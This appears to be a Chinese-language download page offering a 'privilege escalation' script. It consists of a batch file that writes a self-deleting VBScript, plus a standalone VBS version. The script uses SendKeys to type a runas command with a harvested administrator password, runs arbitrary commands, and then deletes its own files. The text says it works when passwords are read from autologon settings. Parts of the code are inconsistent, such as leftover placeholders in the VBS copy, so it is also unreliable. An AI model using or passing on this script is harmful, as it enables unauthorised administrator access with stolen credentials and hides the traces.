VBS提权脚本（市面上少有喔^^） -电脑资料

    @echo off

    echo dim WshShell,cmd >> %3runas.vbs

    echo cmd="%SystemRoot%\system32\cmd.exe" >> %3runas.vbs

    echo Set WshShell=WScript.CreateObject("WScript.Shell") >> %3runas.vbs

    echo WshShell.Run cmd >> %3runas.vbs

    echo WScript.Sleep 500 >> %3runas.vbs

    echo WshShell.SendKeys"runas /user:Administrators\%1 %3Bcmd.bat" >> %3runas.vbs

    echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs

    echo WScript.Sleep 1000 >> %3runas.vbs

    echo WshShell.SendKeys"%2" >> %3runas.vbs

    echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs

    echo WScript.Sleep 500 >> %3runas.vbs

    echo WshShell.SendKeys"exit" >> %3runas.vbs

    echo WshShell.SendKeys"{ENTER}" >> %3runas.vbs

    echo @echo off >> %3Bcmd.bat

    echo %4 %5 %6 %7 %8 %9 >> %3Bcmd.bat

    echo del %3runas.vbs >> %3Bcmd.bat

    echo del %3Bcmd.bat >> %3Bcmd.bat

    %3\runas.vbs

    以上保存为BAT

    dim WshShell,cmd

    cmd="%SystemRoot%\system32\cmd.exe"

    Set WshShell=WScript.CreateObject("WScript.Shell")

    WshShell.Run cmd

    WScript.Sleep 500

    WshShell.SendKeys"runas /user:Administrators\用户名 密码 命令"

    WshShell.SendKeys"{ENTER}"

    WScript.Sleep 1000

    WshShell.SendKeys"%2"

    WshShell.SendKeys"{ENTER}"

    WScript.Sleep 500

    WshShell.SendKeys"exit"

    WshShell.SendKeys"{ENTER}"

    以上保存为VBS

    Runas

    只有在通过自动登陆读到密码时才有用